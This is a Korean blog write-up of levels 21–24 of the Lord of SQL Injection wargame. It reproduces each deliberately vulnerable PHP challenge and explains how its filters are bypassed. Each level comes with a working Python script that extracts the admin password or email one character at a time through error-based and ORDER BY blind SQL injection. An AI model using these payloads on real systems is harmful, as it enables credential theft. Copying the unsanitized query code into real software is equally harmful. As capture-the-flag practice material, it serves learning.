LOS 21~24번
48문제중 절반인 24번까지 클리어했다.
25번을 계속 붙잡고 있었는데.. 안 풀려서 공부를 더 하고 해야겠다.
21번 iron_golem
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(mysqli_error($db)) exit(mysqli_error($db));
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");
highlight_file(__FILE__);
?>
계속 풀어왔던 blind SQLi와 닮아 있지만 참과 거짓을 판단할 때 쓸 hello 구문이 없다.
이럴 때는 time based나 error based를 사용하는데 sleep, benchmark를 막아놨으므로 error based로 가본다.
1
if(mysqli_error($db)) exit(mysqli_error($db));
error가 발생하면 error 페이지를 출력하므로 sql 구문이 참일 때 에러가 발생하도록 만들면 된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import string
import requests
my_cookies = dict(PHPSESSID="r7klo60a35t36pnk1ln76evcvv")
url = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php"
abc = string.digits + string.ascii_letters
print("=== Step 1: Finding admin pw length ===")
idLength = 0
for length in range(1, 40):
param = "?pw=1' or if(length(pw) = " + str(length) + ", (select 1 union select 2), 1)%23"
new_url = url + param
res = requests.get(new_url, cookies=my_cookies)
if res.text.find("return") > 0:
idLength = length
print(f"admin pw length: {idLength}")
break
if idLength == 0:
print("Length not found!")
exit()
print("\n=== Step 2: Finding admin pw ===")
result = ""
for i in range(1, idLength + 1):
for a in abc:
# MID + CHAR로 우회
param = f"?pw=1' or id='admin' and if(ascii(mid(pw,{i},1))={ord(a)}, (select 1 union select 2), 1)%23"
new_url = url + param
res = requests.get(new_url, cookies=my_cookies)
if res.text.find("return") > 0:
print(f"{i}번째 char is: {a}")
result += a
break
print(f"\n=== Result ===")
print(f"admin pw: {result}")
1
if(length(pw) = " + str(length) + ", (select 1 union select 2), 1)
SQL에서 if 문은 IF(조건, 조건이 참일 때, 조건이 거짓일 때)로 작동한다.
이 때 반환 값은 1개를 기대하는데 select 1 union select 2는 결과가 2개의 Row로 이뤄진다.
그렇기에 Subquery returns more than 1 row 에러가 발생하고 이를 이용하면 된다.
22번 dark_eyes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(mysqli_error($db)) exit();
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");
highlight_file(__FILE__);
?>
아까와 비슷한데 필터링으로 if, case, when, sleep, benchmark가 되어있다.
그리고 error가 발생하면 exit으로 빈 화면을 보여준다.
이것도 역시 select 1 union select 2 와 비슷한 아이디어로 우회가 가능하다.
select 1 union select (조건) 을 넣었을 때 참은 1이고 거짓은 0이기 때문에 뒤의 조건이 참일 때는 에러가 나지 않는다.
select 1 union select 1이 되기 때문이다.
이렇게 모두 찾을 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import string
import requests
my_cookies = dict(PHPSESSID="r7klo60a35t36pnk1ln76evcvv")
url = "https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php"
abc = string.digits + string.ascii_letters
print("=== Step 1: Finding admin pw length ===")
idLength = 0
for length in range(1, 40):
param = "?pw=' or id='admin' and (select 1 union select (length(pw) = " + str(length) + "))%23"
new_url = url + param
res = requests.get(new_url, cookies=my_cookies)
if res.text.find("php") > 0:
idLength = length
print(f"admin pw length: {idLength}")
break
if idLength == 0:
print("Length not found!")
exit()
print("\n=== Step 2: Finding admin pw ===")
result = ""
for i in range(1, idLength + 1):
for a in abc:
# MID + CHAR로 우회
param = f"?pw=' or id='admin' and (select 1 union select (ascii(mid(pw,{i},1))={ord(a)}))%23"
new_url = url + param
res = requests.get(new_url, cookies=my_cookies)
if res.text.find("php") > 0:
print(f"{i}번째 char is: {a}")
result += a
break
print(f"\n=== Result ===")
print(f"admin pw: {result}")
23번 hell_fire
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|proc|union/i', $_GET[order])) exit("No Hack ~_~");
$query = "select id,email,score from prob_hell_fire where 1 order by {$_GET[order]}";
echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
$rows = mysqli_query($db,$query);
while(($result = mysqli_fetch_array($rows))){
if($result['id'] == "admin") $result['email'] = "**************";
echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
}
echo "</table><hr>query : <strong>{$query}</strong><hr>";
$_GET[email] = addslashes($_GET[email]);
$query = "select email from prob_hell_fire where id='admin' and email='{$_GET[email]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['email']) && ($result['email'] === $_GET['email'])) solve("hell_fire");
highlight_file(__FILE__);
?>
이번에는 id, email, score의 column 3개가 주어진다.
table은
1
2
admin **** 200
rubiya rubiya805@gmail.cm 100
으로 되어있고, id를 기준으로 정렬하면 admin이 score를 기준으로 하면 rubiya가 올라온다.
그래서 order=if(1=1,1,3) 이렇게 해서 앞의 조건으로 blind sqli로 풀려고 했는데 안된다.
딱히 앞의 조건에 따라 값이 바뀌는 것 같지도 않아서 검색을 해보니까
order by [상수]
이것은 상수 번째 column을 기준으로 정렬하겠다는 의미로 1부터 시작해야 한다.
column은 1번부터 시작하기에 만약 order by 0으로 하면 오류가 발생하는데
order by [표현식]
그런데 order by if(1=1, 0, 0) 이 쿼리를 했을 때 정상적으로 수행이 된다.
조건이 무조건 참이니까 0이 선택되고 오류가 나는 것을 기대했지만 그렇지 않다는 것이다.
https://jwcs.tistory.com/83
블로그를 읽어보면 order by if(조건, a, b)의 형식은 조건이 참인 행에 대해 우선순위 a
거짓인 행은 우선순위 b를 주는 쿼리라고 한다.
이렇게 length(id)=6인 행에 우선순위 3을 주면 rubiya가 위로 올라오고
반대로 length(id)=6이 아닌 행에 3을 주면 admin이 위로 올라온다.
이를 이용해서 email의 길이는 구할 수 있겠지만 내용을 구하는데에 있어서 귀찮아질 것 같다.
또, 같은 글자가 겹칠 때 어떻게 처리할지도 어려울 것 같아서 다른 방법으로 틀었다.
그래서 위의 방법을 조금 변경한 것이다.
order by if(1=1, 0, 0)와 같은 방법은 제대로 column을 선택하지 못하지만
order by if(1=1, ‘id’, ‘score’) 처럼 하면 앞의 조건에 따라 id와 score를 기준으로 볼 수 있었다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import string
import requests
my_cookies = dict(PHPSESSID="r7klo60a35t36pnk1ln76evcvv")
url = "https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php"
abc = string.digits + string.ascii_letters
print("=== Step 1: Finding admin pw length ===")
idLength = 0
for length in range(1, 60):
param = f"?order=if(id='admin' and length(email)={str(length)},'id','score')"
new_url = url + param
res = requests.get(new_url, cookies=my_cookies)
if res.text.find("</tr><tr><td>rubiya") > 0:
idLength = length
print(f"admin pw length: {idLength}")
break
if idLength == 0:
print("Length not found!")
exit()
print("\n=== Step 2: Finding admin pw ===")
result = ""
for i in range(1, idLength + 1):
for a in range(32, 127):
# MID + CHAR로 우회
param = f"?order=if(id='admin' and (ascii(mid(email,{i},1))={a}),'id','score')"
new_url = url + param
res = requests.get(new_url, cookies=my_cookies)
if res.text.find("</tr><tr><td>rubiya") > 0:
print(f"{i}번째 char is: {chr(a)}")
result += chr(a)
break
print(f"\n=== Result ===")
print(f"admin pw: {result}")
rubiya 행이 밑으로 내려가는 경우를 생각해서 조건을 맞춰주면 된다.
24번 evil_wizard
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|proc|union|sleep|benchmark/i', $_GET[order])) exit("No Hack ~_~");
$query = "select id,email,score from prob_evil_wizard where 1 order by {$_GET[order]}"; // same with hell_fire? really?
echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
$rows = mysqli_query($db,$query);
while(($result = mysqli_fetch_array($rows))){
if($result['id'] == "admin") $result['email'] = "**************";
echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
}
echo "</table><hr>query : <strong>{$query}</strong><hr>";
$_GET[email] = addslashes($_GET[email]);
$query = "select email from prob_evil_wizard where id='admin' and email='{$_GET[email]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['email']) && ($result['email'] === $_GET['email'])) solve("evil_wizard");
highlight_file(__FILE__);
?>
23번 문제와 거의 달라진 것이 없다.
하지만 데이터가 admin의 score가 rubiya보다 작으므로 아까와 같이 id와 score를 기준으로 나눌 수는 없었다.
그렇기에 ‘1 ASC’,’1 DESC’로 오름차 내림차로 비교를 하면 같은 아이디어로 풀 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import string
import requests
my_cookies = dict(PHPSESSID="r7klo60a35t36pnk1ln76evcvv")
url = "https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php"
abc = string.digits + string.ascii_letters
print("=== Step 1: Finding admin pw length ===")
idLength = 0
for length in range(1, 60):
param = f"?order=if(id='admin' and length(email)={str(length)},'1 ASC','1 DESC')"
new_url = url + param
res = requests.get(new_url, cookies=my_cookies)
if res.text.find("</tr><tr><td>rubiya") > 0:
idLength = length
print(f"admin pw length: {idLength}")
break
if idLength == 0:
print("Length not found!")
exit()
print("\n=== Step 2: Finding admin pw ===")
result = ""
for i in range(1, idLength + 1):
for a in range(32, 127):
# MID + CHAR로 우회
param = f"?order=if(id='admin' and (ascii(mid(email,{i},1))={a}),'1 ASC','1 DESC')"
new_url = url + param
res = requests.get(new_url, cookies=my_cookies)
if res.text.find("</tr><tr><td>rubiya") > 0:
print(f"{i}번째 char is: {chr(a)}")
result += chr(a)
break
print(f"\n=== Result ===")
print(f"admin pw: {result}")